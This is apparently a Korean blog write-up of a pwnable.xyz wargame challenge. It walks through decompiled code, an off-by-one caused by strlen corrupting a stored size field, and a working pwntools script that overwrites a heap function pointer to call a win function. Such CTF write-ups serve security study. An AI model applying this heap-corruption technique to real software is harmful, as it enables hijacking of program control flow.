1. 문제
1) mitigation 확인
NO PIE이다. got overwrite가 가능하다
2) 문제 확인
이름 쓰기, 수정, 출력이 각 메뉴로 가능하다.
3) 코드 확인
- main() 함수
int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // eax int i; // [rsp+Ch] [rbp-14h] int j; // [rsp+10h] [rbp-10h] int v7; // [rsp+18h] [rbp-8h] int v8; // [rsp+1Ch] [rbp-4h] setup(argc, argv, envp); while ( 1 ) { while ( 1 ) { print_menu(); v3 = read_int32(); if ( v3 != 1 ) break; write_name(); } if ( v3 <= 1 ) break; if ( v3 == 2 ) { for ( i = 0; catalog[i]; ++i ) ; printf("index: "); v7 = read_int32(); if ( v7 >= 0 && v7 < i ) edit_name((size_t *)catalog[v7]); else puts("Invalid index"); } else if ( v3 == 3 ) { for ( j = 0; catalog[j]; ++j ) ; printf("index: "); v8 = read_int32(); if ( v8 >= 0 && v8 < j ) (*(void (__fastcall **)(_QWORD))(catalog[v8] + 0x28LL))(catalog[v8]); else puts("Invalid index"); } else { LABEL_25: puts("Invalid"); } } if ( v3 ) goto LABEL_25; return 0; }
메인에서 주요하게 볼 부분은 오렌지색이다. 1번 메뉴는 write_name() 함수를 통해 동작을 한다. 2번 수정은 edit_name함수, 3번 출력은 catalog에 저장된 함수포인터를 통해 동작하는 것으로 보인다.
- write_name() 함수
size_t *write_name() { size_t v0; // rdx size_t *result; // rax int i; // [rsp+4h] [rbp-Ch] size_t *s; // [rsp+8h] [rbp-8h] s = (size_t *)malloc(0x30uLL); for ( i = 0; catalog[i]; ++i ) ; catalog[i] = s; s[5] = (size_t)print_name; s[4] = 0x20LL; edit_name(s); v0 = strlen((const char *)s); result = s; s[4] = v0; return result; }
catalog는 bss 영역에 선언된 변수이다. 초기에 0x30 크기만큼 malloc으로 힙영역을 할당받는다. 그리고 catalog 배열에 할당받은 청크주소를 저장하고, mem 영역 맨 마지막 부분에 0x20과 print_name 함수 포인터를 넣는다.
그다음 edit_name으로 s에 입력을 받고, strlen으로 입력한 데이터 사이즈를 s[4]에 넣는다. 여기서 취약점이 터진다.
- edit_name() 함수
ssize_t __fastcall edit_name(size_t *a1) { printf("name: "); return read(0, a1, a1[4]); }
edit_name 함수는 별게 없다. catalog에 저장된 mem 영역에 read함수로 데이터를 저장하는데, 사이즈는 아까 strlen 함수로 저장한 사이즈 만큼 넣는다.
2. 접근방법
취약한 부분은 바로 strlen 함수 부분이다. 초기에 청크 +0x20 부분에 0x20 가 들어가 있지만, strlen함수로 입력한 데이터를 청크 +0x20에 다시 복사한다.
만약 0x20 바이트 만큼 꽉 채워서 데이터를 넣는다면,
strlen 함수 실행시, 0x603030
에 들어있던 0x20 값까지 포함하여 읽기 떄문에 해당 strlen의 반환값은 0x21이 된다. 따라서 다음 edit_name 함수 호출시 0x603030
에 들어있는 값을 사이즈로 입력받으므로 한바이트를 더 변경 가능하고, 다음 edit_name 호출시 입력받을 수 있는 사이즈를 조절이 가능하다.
0x21로 되어있는 부분은 0x60 이런식으로 변경하면, 0x603038에 들어있는 함수포인터를 변경하여 win함수로 바꿀수 있고, 3번 print_name 함수호출시 win함수를 실행하게 할 수 있다.
3. 풀이
최종익스코드는 다음과 같다
from pwn import *
p=remote("svc.pwnable.xyz",30023)
p.sendlineafter("> ","1")
p.sendafter("name: ","A"*0x20)
p.sendlineafter("> ","2")
p.sendlineafter("index: ","0")
p.sendafter("name: ","A"*0x21)
p.sendlineafter("> ","2")
p.sendlineafter("index: ","0")
p.sendafter("name: ","A"*0x28+p64(0x40092C))
p.sendlineafter("> ","3")
p.interactive()
4. 몰랐던 개념
- none
'워게임 > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] password (2) | 2020.05.12 |
---|---|
[pwnable.xyz] Punch it (0) | 2020.05.11 |
[pwnable.xyz] PvP (0) | 2020.05.09 |
[pwnable.xyz] bookmark (0) | 2020.05.08 |
[pwnable.xyz] attack (0) | 2020.05.07 |